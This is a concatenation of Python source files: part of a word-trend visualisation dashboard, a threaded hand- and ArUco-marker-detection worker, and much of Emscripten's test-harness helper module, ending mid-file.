widget.dataset_widget.dataset.type == DatasetType.MAXQDA_CODED_NASTY or widget.dataset_widget.dataset.type == DatasetType.MAXQDA_CODED_NEWS_CSV ): result.update({"code_identifier": widget.dataset_widget.code_identifier}) result.update({"words": widget.words}) return result def _compute_update(self) -> None: _LOGGER.debug("Computing update.") for i in range(len(self._dataset_words_widgets)): selection = self.selection(i) if self._last_selection[i] != selection: ( # Ensure "atomic" update via tuple assignment. self._last_selection[i], ( self._word_freqs_per_day[i], self._num_docs_per_day[i], self._took_msecs[i], ), ) = ( selection, self._fetch_word_freqs_per_day(self._dataset_words_widgets[i]), ) dates = list(date_range(self._min_date, self._max_date)) min_date, max_date = self._date_range_widget.min_and_max_date date_slice = slice(dates.index(min_date), dates.index(max_date) + 1) new_data = self._new_source_data() new_data["dates"] = [ date_to_datetime(day, tzinfo_=timezone.utc) for day in date_range(min_date, max_date) ] for i, dataset_word_widget in enumerate(self._dataset_words_widgets): if dataset_word_widget.should_num_docs: new_data["d{}_num_docs".format(i)] = self._num_docs_per_day[i][ date_slice ] for word in dataset_word_widget.words: new_data["d{}_{}".format(i, word)] = self._word_freqs_per_day[i][word][ date_slice ] self._add_next_tick_callback( partial(self._display_update, new_data, sum(self._took_msecs)) ) @coroutine def _display_update( self, new_data: Mapping[str, List[object]], took_msecs: int ) -> None: _LOGGER.debug("Displaying update.") self._date_range_widget.set_enabled(True) for dataset_words_widget in self._dataset_words_widgets: dataset_words_widget.set_enabled(True) self._word_trends_widget.set_enabled(True) glyphs = iter(self._glyphs) try: self._source.data = new_data for key in new_data: if key == "dates": continue line, circle = next(glyphs) line.glyph.y = key line.visible = True circle.glyph.y = key circle.visible = True self._stats.text = f""" Request took: <strong>{took_msecs:,}&thinsp;ms</strong> """ except StopIteration: self._stats.text = f""" <strong style="color: red;">Error: can only visualize {len(self._glyphs)} things at once.</strong> """ def update(self) -> None: self._date_range_widget.set_enabled(False) for dataset_words_widget in self._dataset_words_widgets: dataset_words_widget.set_enabled(False) self._word_trends_widget.set_enabled(False) self._stats.text = """ <strong style="color: red;">Loading...</strong> """ for line, circle in self._glyphs: line.visible = False circle.visible = False Thread(target=self._compute_update).start() def _fetch_word_freqs_per_day( self, dataset_words_widget: DatasetWordsWidget ) -> Tuple[Mapping[str, Sequence[int]], Sequence[int], int]: _LOGGER.debug("Fetching word frequencies per day.") search_helper = SearchHelper(dataset_words_widget.dataset_widget.dataset.type) search = Search().extra(size=0, track_total_hits=True) search = dataset_words_widget.dataset_widget.set_search(search) search = search.filter( search_helper.query_date_range( gte=self._min_date, lt=self._max_date + timedelta(days=1) ) ) search = search_helper.add_agg_text_tokens_date_histogram_terms( search, calendar_interval="1d", size=len(dataset_words_widget.words), include=dataset_words_widget.words, ) time_before = time() response = search.execute() time_after = time() took_msecs = int((time_after - time_before) * 1000) dates = list(date_range(self._min_date, self._max_date)) word_freqs = defaultdict(lambda: [0] * len(dates)) num_docs = [0] * len(dates) for ( bucket, inner_buckets, ) in search_helper.read_text_tokens_date_histogram_terms(response): i = dates.index(date.fromtimestamp(bucket.key / 1000)) num_docs[i] = bucket.doc_count for inner_bucket in inner_buckets: word_freqs[inner_bucket.key][i] = inner_bucket.doc_count return word_freqs, num_docs, took_msecs
worker.py
import copy from typing import Dict, Any from queue import Queue from threading import Thread from typing import NoReturn, List, Dict from cv2 import aruco from .detector_utils import load_inference_graph, detect_objects,\ get_center_points, draw_box_on_image from .calibration import Calibration from .synchronized_variable import SynchronizedVariable # 117 was found out by testing with static test-images. The real number of the # markers created by the Pupil team is not known/does not work # (see https://github.com/pupil-labs/pupil-helpers/tree/master/markers_stickersheet). _aruco_dict = aruco.Dictionary_create(117, 3) _aruco_parameters = aruco.DetectorParameters_create() class Worker: def __init__(self, input_q: Queue, output_q: Queue, marker_q: Queue, center_points_q: Queue, cap_params: Dict[str, Any], latest_markers: SynchronizedVariable[List[Dict]], calibration: Calibration = None): self.input_q = input_q self.output_q = output_q self.marker_q = marker_q self.center_points_q = center_points_q self.cap_params = cap_params self.calibration = calibration self.detection_graph, self.sess = load_inference_graph() self.latest_markers = latest_markers def _detect_hands(self, frame, o_frame: SynchronizedVariable): # Actual detection. Variable boxes contains the bounding box # coordinates for hands detected, while scores contains the confidence # for each of these boxes. # Hint: If len(boxes) > 1 , you may assume you have found at least one # hand (within your score threshold) boxes, scores = detect_objects(frame, self.detection_graph, self.sess) center_points = get_center_points(self.cap_params["num_hands_detect"], self.cap_params["score_thresh"], scores, boxes, self.cap_params["im_width"], self.cap_params["im_height"]) self.center_points_q.put(center_points) with o_frame.lock: draw_box_on_image(self.cap_params['num_hands_detect'], self.cap_params["score_thresh"], scores, boxes, self.cap_params['im_width'], self.cap_params['im_height'], o_frame.value) def _detect_markers(self, frame, o_frame: SynchronizedVariable): corners, ids, _ = aruco.detectMarkers(frame, _aruco_dict, parameters=_aruco_parameters) if ids is None: return #print("Previous latest markers: {}".format(self.latest_markers)) markers = [] for i in range(len(corners)): markers.append({ 'id': int(ids[i][0]), 'corners': corners[i][0].astype(int).tolist(), }) self.latest_markers.value = markers self.marker_q.put(markers) with o_frame.lock: aruco.drawDetectedMarkers(o_frame.value, corners, ids) if self.calibration is None: return rotation_vecs, translation_vecs, _ = aruco.estimatePoseSingleMarkers( corners, self.calibration.ml, self.calibration.camera_matrix, self.calibration.dist_coeffs) with o_frame.lock: for i in range(len(ids)): aruco.drawAxis(o_frame.value, self.calibration.camera_matrix, self.calibration.dist_coeffs, rotation_vecs[i], translation_vecs[i], 0.01) def run(self) -> NoReturn: while True: frame = self.input_q.get() if frame is None: self.output_q.put(frame) continue # Create copy of frame to draw boxes on (we don't want to draw # that on the input frame, because either of the detection # algorithms could be disturbed by this). o_frame = SynchronizedVariable(copy.deepcopy(frame)) threads = [] for method in [self._detect_hands, self._detect_markers]: thr = Thread(target=method, args=(frame, o_frame)) thr.start() threads.append(thr) for thread in threads: thread.join() self.output_q.put(o_frame.value) # TODO Get translation matrices and draw AOI on image, BUT HOW DO # GET AOI HERE?
common.py
# Copyright 2021 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. from enum import Enum from functools import wraps from pathlib import Path from subprocess import PIPE, STDOUT from urllib.parse import unquote, unquote_plus from http.server import HTTPServer, SimpleHTTPRequestHandler import contextlib import difflib import hashlib import logging import multiprocessing import os import shlex import shutil import stat import string import subprocess import sys import tempfile import time import webbrowser import unittest import clang_native import jsrun from tools.shared import TEMP_DIR, EMCC, EMXX, DEBUG, EMCONFIGURE, EMCMAKE from tools.shared import EMSCRIPTEN_TEMP_DIR from tools.shared import EM_BUILD_VERBOSE from tools.shared import get_canonical_temp_dir, try_delete, path_from_root from tools.utils import MACOS, WINDOWS, read_file, read_binary, write_file, write_binary from tools import shared, line_endings, building, config logger = logging.getLogger('common') # User can specify an environment variable EMTEST_BROWSER to force the browser # test suite to run using another browser command line than the default system # browser. # There are two special value that can be used here if running in an actual # browser is not desired: # EMTEST_BROWSER=0 : This will disable the actual running of the test and simply # verify that it compiles and links. # EMTEST_BROWSER=node : This will attempt to run the browser test under node. # For most browser tests this does not work, but it can # be useful for running pthread tests under node. EMTEST_BROWSER = None EMTEST_DETECT_TEMPFILE_LEAKS = None EMTEST_SAVE_DIR = None # generally js engines are equivalent, testing 1 is enough. set this # to force testing on all js engines, good to find js engine bugs EMTEST_ALL_ENGINES = None EMTEST_SKIP_SLOW = None EMTEST_LACKS_NATIVE_CLANG = None EMTEST_VERBOSE = None EMTEST_REBASELINE = None EMTEST_FORCE64 = None # Special value for passing to assert_returncode which means we expect that program # to fail with non-zero return code, but we don't care about specifically which one. NON_ZERO = -1 TEST_ROOT = path_from_root('tests') WEBIDL_BINDER = shared.bat_suffix(path_from_root('tools/webidl_binder')) EMBUILDER = shared.bat_suffix(path_from_root('embuilder')) EMMAKE = shared.bat_suffix(path_from_root('emmake')) def delete_contents(pathname): for entry in os.listdir(pathname): try_delete(os.path.join(pathname, entry)) def test_file(*path_components): """Construct a path relative to the emscripten "tests" directory.""" return str(Path(TEST_ROOT, *path_components)) # checks if browser testing is enabled def has_browser(): return EMTEST_BROWSER != '0' def compiler_for(filename, force_c=False): if shared.suffix(filename) in ('.cc', '.cxx', '.cpp') and not force_c: return EMXX else: return EMCC # Generic decorator that calls a function named 'condition' on the test class and # skips the test if that function returns true def skip_if(func, condition, explanation='', negate=False): assert callable(func) explanation_str = ' : %s' % explanation if explanation else '' @wraps(func) def decorated(self, *args, **kwargs): choice = self.__getattribute__(condition)() if negate: choice = not choice if choice: self.skipTest(condition + explanation_str) func(self, *args, **kwargs) return decorated def needs_dylink(func): assert callable(func) @wraps(func) def decorated(self, *args, **kwargs): self.check_dylink() return func(self, *args, **kwargs) return decorated def is_slow_test(func): assert callable(func) @wraps(func) def decorated(self, *args, **kwargs): if EMTEST_SKIP_SLOW: return self.skipTest('skipping slow tests') return func(self, *args, **kwargs) return decorated def disabled(note=''): assert not callable(note) return unittest.skip(note) def no_mac(note=''): assert not callable(note) if MACOS: return unittest.skip(note) return lambda f: f def no_windows(note=''): assert not callable(note) if WINDOWS: return unittest.skip(note) return lambda f: f def requires_native_clang(func): assert callable(func) def decorated(self, *args, **kwargs): if EMTEST_LACKS_NATIVE_CLANG: return self.skipTest('native clang tests are disabled') return func(self, *args, **kwargs) return decorated def require_node(func): assert callable(func) def decorated(self, *args, **kwargs): self.require_node() return func(self, *args, **kwargs) return decorated def require_v8(func): assert callable(func) def decorated(self, *args, **kwargs): self.require_v8() return func(self, *args, **kwargs) return decorated def node_pthreads(f): def decorated(self, *args, **kwargs): self.set_setting('USE_PTHREADS') self.emcc_args += ['-Wno-pthreads-mem-growth'] if self.get_setting('MINIMAL_RUNTIME'): self.skipTest('node pthreads not yet supported with MINIMAL_RUNTIME') self.js_engines = [config.NODE_JS] self.node_args += ['--experimental-wasm-threads', '--experimental-wasm-bulk-memory'] f(self, *args, **kwargs) return decorated @contextlib.contextmanager def env_modify(updates): """A context manager that updates os.environ.""" # This could also be done with mock.patch.dict() but taking a dependency # on the mock library is probably not worth the benefit. old_env = os.environ.copy() print("env_modify: " + str(updates)) # Seting a value to None means clear the environment variable clears = [key for key, value in updates.items() if value is None] updates = {key: value for key, value in updates.items() if value is not None} os.environ.update(updates) for key in clears: if key in os.environ: del os.environ[key] try: yield finally: os.environ.clear() os.environ.update(old_env) # Decorator version of env_modify def with_env_modify(updates): def decorated(f): def modified(self): with env_modify(updates): return f(self) return modified return decorated def ensure_dir(dirname): dirname = Path(dirname) dirname.mkdir(parents=True, exist_ok=True) def limit_size(string, maxbytes=800000 * 20, maxlines=100000, max_line=5000): lines = string.splitlines() for i, line in enumerate(lines): if len(line) > max_line: lines[i] = line[:max_line] + '[..]' if len(lines) > maxlines: lines = lines[0:maxlines // 2] + ['[..]'] + lines[-maxlines // 2:] string = '\n'.join(lines) + '\n' if len(string) > maxbytes: string = string[0:maxbytes // 2] + '\n[..]\n' + string[-maxbytes // 2:] return string def create_file(name, contents, binary=False): name = Path(name) assert not name.is_absolute() if binary: name.write_bytes(contents) else: name.write_text(contents) def make_executable(name): Path(name).chmod(stat.S_IREAD | stat.S_IWRITE | stat.S_IEXEC) def parameterized(parameters): """ Mark a test as parameterized. Usage: @parameterized({ 'subtest1': (1, 2, 3), 'subtest2': (4, 5, 6), }) def test_something(self, a, b, c): ... # actual test body This is equivalent to defining two tests: def test_something_subtest1(self): # runs test_something(1, 2, 3) def test_something_subtest2(self): # runs test_something(4, 5, 6) """ def decorator(func): func._parameterize = parameters return func return decorator class RunnerMeta(type): @classmethod def make_test(mcs, name, func, suffix, args): """ This is a helper function to create new test functions for each parameterized form. :param name: the original name of the function :param func: the original function that we are parameterizing :param suffix: the suffix to append to the name of the function for this parameterization :param args: the positional arguments to pass to the original function for this parameterization :returns: a tuple of (new_function_name, new_function_object) """ # Create the new test function. It calls the original function with the specified args. # We use @functools.wraps to copy over all the function attributes. @wraps(func) def resulting_test(self): return func(self, *args) # Add suffix to the function name so that it displays correctly. if suffix: resulting_test.__name__ = f'{name}_{suffix}' else: resulting_test.__name__ = name # On python 3, functions have __qualname__ as well. This is a full dot-separated path to the # function. We add the suffix to it as well. resulting_test.__qualname__ = f'{func.__qualname__}_{suffix}' return resulting_test.__name__, resulting_test def __new__(mcs, name, bases, attrs): # This metaclass expands parameterized methods from `attrs` into separate ones in `new_attrs`. new_attrs = {} for attr_name, value in attrs.items(): # Check if a member of the new class has _parameterize, the tag inserted by @parameterized. if hasattr(value, '_parameterize'): # If it does, we extract the parameterization information, build new test functions. for suffix, args in value._parameterize.items(): new_name, func = mcs.make_test(attr_name, value, suffix, args) assert new_name not in new_attrs, 'Duplicate attribute name generated when parameterizing %s' % attr_name new_attrs[new_name] = func else: # If not, we just copy it over to new_attrs verbatim. assert attr_name not in new_attrs, '%s collided with an attribute from parameterization' % attr_name new_attrs[attr_name] = value # We invoke type, the default metaclass, to actually create the new class, with new_attrs. return type.__new__(mcs, name, bases, new_attrs) class RunnerCore(unittest.TestCase, metaclass=RunnerMeta): # default temporary directory settings. set_temp_dir may be called later to # override these temp_dir = TEMP_DIR canonical_temp_dir = get_canonical_temp_dir(TEMP_DIR) # This avoids cluttering the test runner output, which is stderr too, with compiler warnings etc. # Change this to None to get stderr reporting, for debugging purposes stderr_redirect = STDOUT def is_wasm(self): return self.get_setting('WASM') != 0 def check_dylink(self): if self.get_setting('ALLOW_MEMORY_GROWTH') == 1 and not self.is_wasm(): self.skipTest('no dynamic linking with memory growth (without wasm)') if not self.is_wasm(): self.skipTest('no dynamic linking support in wasm2js yet') if '-fsanitize=address' in self.emcc_args: self.skipTest('no dynamic linking support in ASan yet') if '-fsanitize=leak' in self.emcc_args: self.skipTest('no dynamic linking support in LSan yet') def require_v8(self): if not config.V8_ENGINE or config.V8_ENGINE not in config.JS_ENGINES: if 'EMTEST_SKIP_V8' in os.environ: self.skipTest('test requires v8 and EMTEST_SKIP_V8 is set') else: self.fail('d8 required to run this test. Use EMTEST_SKIP_V8 to skip') self.js_engines = [config.V8_ENGINE] self.emcc_args.append('-sENVIRONMENT=shell') def require_node(self): if not config.NODE_JS or config.NODE_JS not in config.JS_ENGINES: if 'EMTEST_SKIP_NODE' in os.environ: self.skipTest('test requires node and EMTEST_SKIP_NODE is set') else: self.fail('node required to run this test. Use EMTEST_SKIP_NODE to skip') self.js_engines = [config.NODE_JS] def uses_memory_init_file(self): if self.get_setting('SIDE_MODULE') or (self.is_wasm() and not self.get_setting('WASM2JS')): return False elif '--memory-init-file' in self.emcc_args: return int(self.emcc_args[self.emcc_args.index('--memory-init-file') + 1]) else: # side modules handle memory differently; binaryen puts the memory in the wasm module opt_supports = any(opt in self.emcc_args for opt in ('-O2', '-O3', '-Os', '-Oz')) return opt_supports def set_temp_dir(self, temp_dir): self.temp_dir = temp_dir self.canonical_temp_dir = get_canonical_temp_dir(self.temp_dir) # Explicitly set dedicated temporary directory for parallel tests os.environ['EMCC_TEMP_DIR'] = self.temp_dir @classmethod def setUpClass(cls): super().setUpClass() print('(checking sanity from test runner)') # do this after we set env stuff shared.check_sanity(force=True) def setUp(self): super().setUp() self.settings_mods = {} self.emcc_args = ['-Werror'] self.node_args = [ # Increate stack trace limit to maximise usefulness of test failure reports '--stack-trace-limit=50', # Opt in to node v15 default behaviour: # https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode '--unhandled-rejections=throw', # Include backtrace for all uncuaght exceptions (not just Error). '--trace-uncaught', ] self.v8_args = [] self.env = {} self.temp_files_before_run = [] self.uses_es6 = False self.js_engines = config.JS_ENGINES.copy() self.wasm_engines = config.WASM_ENGINES.copy() self.banned_js_engines = [] self.use_all_engines = EMTEST_ALL_ENGINES if EMTEST_DETECT_TEMPFILE_LEAKS: for root, dirnames, filenames in os.walk(self.temp_dir): for dirname in dirnames: self.temp_files_before_run.append(os.path.normpath(os.path.join(root, dirname))) for filename in filenames: self.temp_files_before_run.append(os.path.normpath(os.path.join(root, filename))) if EMTEST_SAVE_DIR: self.working_dir = os.path.join(self.temp_dir, 'emscripten_test') if os.path.exists(self.working_dir): if EMTEST_SAVE_DIR == 2: print('Not clearing existing test directory') else: print('Clearing existing test directory') # Even when EMTEST_SAVE_DIR we still try to start with an empty directoy as many tests # expect this. EMTEST_SAVE_DIR=2 can be used to keep the old contents for the new test # run. This can be useful when iterating on a given test with extra files you want to keep # around in the output directory. delete_contents(self.working_dir) else: print('Creating new test output directory') ensure_dir(self.working_dir) else: self.working_dir = tempfile.mkdtemp(prefix='emscripten_test_' + self.__class__.__name__ + '_', dir=self.temp_dir) os.chdir(self.working_dir) if not EMTEST_SAVE_DIR: self.has_prev_ll = False for temp_file in os.listdir(TEMP_DIR): if temp_file.endswith('.ll'): self.has_prev_ll = True def tearDown(self): if not EMTEST_SAVE_DIR: # rmtree() fails on Windows if the current working directory is inside the tree. os.chdir(os.path.dirname(self.get_dir())) try_delete(self.get_dir()) if EMTEST_DETECT_TEMPFILE_LEAKS and not DEBUG: temp_files_after_run = [] for root, dirnames, filenames in os.walk(self.temp_dir): for dirname in dirnames: temp_files_after_run.append(os.path.normpath(os.path.join(root, dirname))) for filename in filenames: temp_files_after_run.append(os.path.normpath(os.path.join(root, filename))) # Our leak detection will pick up *any* new temp files in the temp dir. # They may not be due to us, but e.g. the browser when running browser # tests. Until we figure out a proper solution, ignore some temp file # names that we see on our CI infrastructure. ignorable_file_prefixes = [ '/tmp/tmpaddon', '/tmp/circleci-no-output-timeout', '/tmp/wasmer' ] left_over_files = set(temp_files_after_run) - set(self.temp_files_before_run) left_over_files = [f for f in left_over_files if not any([f.startswith(prefix) for prefix in ignorable_file_prefixes])] if len(left_over_files): print('ERROR: After running test, there are ' + str(len(left_over_files)) + ' new temporary files/directories left behind:', file=sys.stderr) for f in left_over_files: print('leaked file: ' + f, file=sys.stderr) self.fail('Test leaked ' + str(len(left_over_files)) + ' temporary files!') def get_setting(self, key, default=None): return self.settings_mods.get(key, default) def set_setting(self, key, value=1): if value is None: self.clear_setting(key) self.settings_mods[key] = value def has_changed_setting(self, key): return key in self.settings_mods def clear_setting(self, key): self.settings_mods.pop(key, None) def serialize_settings(self): ret = [] for key, value in self.settings_mods.items(): if value == 1: ret.append(f'-s{key}') elif type(value) == list: ret.append(f'-s{key}={",".join(value)}') else: ret.append(f'-s{key}={value}') return ret def get_dir(self): return self.working_dir def in_dir(self, *pathelems): return os.path.join(self.get_dir(), *pathelems) def add_pre_run(self, code): create_file('prerun.js', 'Module.preRun = function() { %s }' % code) self.emcc_args += ['--pre-js', 'prerun.js'] def add_post_run(self, code): create_file('postrun.js', 'Module.postRun = function() { %s }' % code) self.emcc_args += ['--pre-js', 'postrun.js'] def add_on_exit(self, code): create_file('onexit.js', 'Module.onExit = function() { %s }' % code) self.emcc_args += ['--pre-js', 'onexit.js'] # returns the full list of arguments to pass to emcc # param @main_file whether this is the main file of the test. some arguments # (like --pre-js) do not need to be passed when building # libraries, for example def get_emcc_args(self, main_file=False): args = self.serialize_settings() + self.emcc_args if not main_file: for i, arg in enumerate(args): if arg in ('--pre-js', '--post-js'): args[i] = None args[i + 1] = None args = [arg for arg in args if arg is not None] return args def verify_es5(self, filename): es_check = shared.get_npm_cmd('es-check') # use --quiet once its available # See: https://github.com/dollarshaveclub/es-check/pull/126/ es_check_env = os.environ.copy() es_check_env['PATH'] = os.path.dirname(config.NODE_JS[0]) + os.pathsep + es_check_env['PATH'] try: # es-check prints the details of the errors to stdout, but it also prints # stuff in the case there are no errors: # ES-Check: there were no ES version matching errors! # pipe stdout and stderr so that we can choose if/when to print this # output and avoid spamming stdout when tests are successful. shared.run_process(es_check + ['es5', os.path.abspath(filename)], stdout=PIPE, stderr=STDOUT, env=es_check_env) except subprocess.CalledProcessError as e: print(e.stdout) self.fail('es-check failed to verify ES5 output compliance') # Build JavaScript code from source code def build(self, filename, libraries=[], includes=[], force_c=False, js_outfile=True, emcc_args=[], output_basename=None): suffix = '.js' if js_outfile else '.wasm' compiler = [compiler_for(filename, force_c)] if compiler[0] == EMCC: # TODO(https://github.com/emscripten-core/emscripten/issues/11121) # For historical reasons emcc compiles and links as C++ by default. # However we want to run our tests in a more strict manner. We can # remove this if the issue above is ever fixed. compiler.append('-sNO_DEFAULT_TO_CXX') if force_c: compiler.append('-xc') if output_basename: output = output_basename + suffix else: basename = os.path.basename(filename) output = shared.unsuffixed(basename) + suffix cmd = compiler + [filename, '-o', output] + self.get_emcc_args(main_file=True) + emcc_args + libraries if shared.suffix(filename) not in ('.i', '.ii'): # Add the location of the test file to include path. cmd += ['-I.'] cmd += ['-I' + str(include) for include in includes] self.run_process(cmd, stderr=self.stderr_redirect if not DEBUG else None) self.assertExists(output) if js_outfile and not self.uses_es6: self.verify_es5(output) if js_outfile and self.uses_memory_init_file(): src = read_file(output) # side memory init file, or an empty one in the js assert ('/* memory initializer */' not in src) or ('/* memory initializer */ allocate([]' in src) return output def get_func(self, src, name): start = src.index('function ' + name + '(') t = start n = 0 while True: if src[t] == '{': n += 1 elif src[t] == '}': n -= 1 if n == 0: return src[start:t + 1] t += 1 assert t < len(src) def count_funcs(self, javascript_file): num_funcs = 0 start_tok = "// EMSCRIPTEN_START_FUNCS" end_tok = "// EMSCRIPTEN_END_FUNCS" start_off = 0 end_off = 0 js = read_file(javascript_file) blob = "".join(js.splitlines()) start_off = blob.find(start_tok) + len(start_tok) end_off = blob.find(end_tok) asm_chunk = blob[start_off:end_off] num_funcs = asm_chunk.count('function ') return num_funcs def count_wasm_contents(self, wasm_binary, what): out = self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-opt'), wasm_binary, '--metrics'], stdout=PIPE).stdout # output is something like # [?] : 125 for line in out.splitlines(): if '[' + what + ']' in line: ret = line.split(':')[1].strip() return int(ret) self.fail('Failed to find [%s] in wasm-opt output' % what) def get_wasm_text(self, wasm_binary): return self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-dis'), wasm_binary], stdout=PIPE).stdout def is_exported_in_wasm(self, name, wasm): wat = self.get_wasm_text(wasm) return ('(export "%s"' % name) in wat def run_js(self, filename, engine=None, args=[], output_nicerizer=None, assert_returncode=0, interleaved_output=True): # use files, as PIPE can get too full and hang us stdout_file = self.in_dir('stdout') stderr_file = None if interleaved_output: stderr = STDOUT else: stderr_file = self.in_dir('stderr') stderr = open(stderr_file, 'w') error = None timeout_error = None if not engine: engine = self.js_engines[0] if engine == config.NODE_JS: engine = engine + self.node_args if engine == config.V8_ENGINE: engine = engine + self.v8_args try: jsrun.run_js(filename, engine, args, stdout=open(stdout_file, 'w'), stderr=stderr, assert_returncode=assert_returncode) except subprocess.TimeoutExpired as e: timeout_error = e except subprocess.CalledProcessError as e: error = e # Make sure that we produced proper line endings to the .js file we are about to run. if not filename.endswith('.wasm'): self.assertEqual(line_endings.check_line_endings(filename), 0) ret = read_file(stdout_file) if not interleaved_output: ret += read_file(stderr_file) if output_nicerizer: ret = output_nicerizer(ret) if error or timeout_error or EMTEST_VERBOSE: ret = limit_size(ret) print('-- begin program output --') print(read_file(stdout_file), end='') print('-- end program output --') if not interleaved_output: print('-- begin program stderr --') print(read_file(stderr_file), end='') print('-- end program stderr --') if timeout_error: raise timeout_error if error: if assert_returncode == NON_ZERO: self.fail('JS subprocess unexpectedly succeeded (%s): Output:\n%s' % (error.cmd, ret)) else: self.fail('JS subprocess failed (%s): %s. Output:\n%s' % (error.cmd, error.returncode, ret)) # We should pass all strict mode checks self.assertNotContained('strict warning:', ret) return ret def assertExists(self, filename, msg=None): if not msg: msg = 'Expected file not found: ' + filename self.assertTrue(os.path.exists(filename), msg) def assertNotExists(self, filename, msg=None): if not msg: msg = 'Unexpected file exists: ' + filename self.assertFalse(os.path.exists(filename), msg) # Tests that the given two paths are identical, modulo path delimiters. E.g. "C:/foo" is equal to "C:\foo". def assertPathsIdentical(self, path1, path2): path1 = path1.replace('\\', '/') path2 = path2.replace('\\', '/') return self.assertIdentical(path1, path2) # Tests that the given two multiline text content are identical, modulo line # ending differences (\r\n on Windows, \n on Unix). def assertTextDataIdentical(self, text1, text2, msg=None, fromfile='expected', tofile='actual'): text1 = text1.replace('\r\n', '\n') text2 = text2.replace('\r\n', '\n') return self.assertIdentical(text1, text2, msg, fromfile, tofile) def assertIdentical(self, values, y, msg=None, fromfile='expected', tofile='actual'): if type(values) not in (list, tuple): values = [values] for x in values: if x == y: return # success diff_lines = difflib.unified_diff(x.splitlines(), y.splitlines(), fromfile=fromfile, tofile=tofile) diff = ''.join([a.rstrip() + '\n' for a in diff_lines]) if EMTEST_VERBOSE: print("Expected to have '%s' == '%s'" % (limit_size(values[0]), limit_size(y))) fail_message = 'Unexpected difference:\n' + limit_size(diff) if not EMTEST_VERBOSE: fail_message += '\nFor full output run with EMTEST_VERBOSE=1.' if msg: fail_message += '\n' + msg self.fail(fail_message) def assertTextDataContained(self, text1, text2): text1 = text1.replace('\r\n', '\n') text2 = text2.replace('\r\n', '\n') return self.assertContained(text1, text2) def assertFileContents(self, filename, contents): contents = contents.replace('\r', '') if EMTEST_REBASELINE: with open(filename, 'w') as f: f.write(contents) return if not os.path.exists(filename): self.fail('Test expectation file not found: ' + filename + '.\n' + 'Run with EMTEST_REBASELINE to generate.') expected_content = read_file(filename) message = "Run with EMTEST_REBASELINE=1 to automatically update expectations" self.assertTextDataIdentical(expected_content, contents, message, filename, filename + '.new') def assertContained(self, values, string, additional_info=''): if type(values) not in [list, tuple]: values = [values] if callable(string): string = string() if not any(v in string for v in values): diff = difflib.unified_diff(values[0].split('\n'), string.split('\n'), fromfile='expected', tofile='actual') diff = ''.join(a.rstrip() + '\n' for a in diff) self.fail("Expected to find '%s' in '%s', diff:\n\n%s\n%s" % ( limit_size(values[0]), limit_size(string), limit_size(diff), additional_info )) def assertNotContained(self, value, string): if callable(value): value = value() # lazy loading if callable(string): string = string() if value in string: self.fail("Expected to NOT find '%s' in '%s'" % (limit_size(value), limit_size(string))) def assertContainedIf(self, value, string, condition): if condition: self.assertContained(value, string) else: self.assertNotContained(value, string) def assertBinaryEqual(self, file1, file2): self.assertEqual(os.path.getsize(file1), os.path.getsize(file2)) self.assertEqual(read_binary(file1), read_binary(file2)) library_cache = {} def get_build_dir(self): ret = os.path.join(self.get_dir(), 'building') ensure_dir(ret) return ret def get_library(self, name, generated_libs, configure=['sh', './configure'], configure_args=[], make=['make'], make_args=None, env_init=None, cache_name_extra='', native=False): if env_init is None: env_init = {} if make_args is None: make_args = ['-j', str(shared.get_num_cores())] build_dir = self.get_build_dir() output_dir = self.get_dir() emcc_args = self.get_emcc_args() hash_input = (str(emcc_args) + ' $ ' + str(env_init)).encode('utf-8') cache_name = name + ','.join([opt for opt in emcc_args if len(opt) < 7]) + '_' + hashlib.md5(hash_input).hexdigest() + cache_name_extra valid_chars = "_%s%s" % (string.ascii_letters, string.digits) cache_name = ''.join([(c if c in valid_chars else '_') for c in cache_name]) if self.library_cache.get(cache_name): print('<load %s from cache> ' % cache_name, file=sys.stderr) generated_libs = [] for basename, contents in self.library_cache[cache_name]: bc_file = os.path.join(build_dir, cache_name + '_' + basename) write_binary(bc_file, contents) generated_libs.append(bc_file) return generated_libs print(f'<building and saving {cache_name} into cache>', file=sys.stderr) if configure is not None: # Avoid += so we don't mutate the default arg configure = configure + configure_args cflags = ' '.join(self.get_emcc_args()) env_init.setdefault('CFLAGS', cflags) env_init.setdefault('CXXFLAGS', cflags) return build_library(name, build_dir, output_dir, generated_libs, configure, make, make_args, self.library_cache, cache_name, env_init=env_init, native=native) def clear(self): delete_contents(self.get_dir()) if EMSCRIPTEN_TEMP_DIR: delete_contents(EMSCRIPTEN_TEMP_DIR) def run_process(self, cmd, check=True, **args): # Wrapper around shared.run_process. This is desirable so that the tests # can fail (in the unittest sense) rather than error'ing. # In the long run it would nice to completely remove the dependency on # core emscripten code (shared.py) here. try: return shared.run_process(cmd, check=check, **args) except subprocess.CalledProcessError as e: if check and e.returncode != 0: print(e.stdout) print(e.stderr) self.fail(f'subprocess exited with non-zero return code({e.returncode}): `{shared.shlex_join(cmd)}`') def emcc(self, filename, args=[], output_filename=None, **kwargs): if output_filename is None: output_filename = filename + '.o' try_delete(output_filename) self.run_process([compiler_for(filename), filename] + args + ['-o', output_filename], **kwargs) # Shared test code between main suite and others def expect_fail(self, cmd, **args): """Run a subprocess and assert that it returns non-zero. Return the stderr of the subprocess. """ proc = self.run_process(cmd, check=False, stderr=PIPE, **args) self.assertNotEqual(proc.returncode, 0, 'subprocess unexpectedly succeeded. stderr:\n' + proc.stderr) # When we check for failure we expect a user-visible error, not a traceback. # However, on windows a python traceback can happen randomly sometimes, # due to "Access is denied" https://github.com/emscripten-core/emscripten/issues/718 if not WINDOWS or 'Access is denied' not in proc.stderr: self.assertNotContained('Traceback', proc.stderr) return proc.stderr # excercise dynamic linker. # # test that linking to shared library B, which is linked to A, loads A as well. # main is also linked to C, which is also linked to A. A is loaded/initialized only once. # # B # main < > A # C # # this test is used by both test_core and test_browser. # when run under broswer it excercises how dynamic linker handles concurrency # - because B and C are loaded in parallel. def _test_dylink_dso_needed(self, do_run): create_file('liba.cpp', r''' #include <stdio.h> #include <emscripten.h> static const char *afunc_prev; extern "C" { EMSCRIPTEN_KEEPALIVE void afunc(const char *s); } void afunc(const char *s) { printf("a: %s (prev: %s)\n", s, afunc_prev); afunc_prev = s; } struct ainit { ainit() { puts("a: loaded"); } }; static ainit _; ''') create_file('libb.c', r''' #include <emscripten.h> void afunc(const char *s); EMSCRIPTEN_KEEPALIVE void bfunc() { afunc("b"); } ''') create_file('libc.c', r''' #include <emscripten.h> void afunc(const char 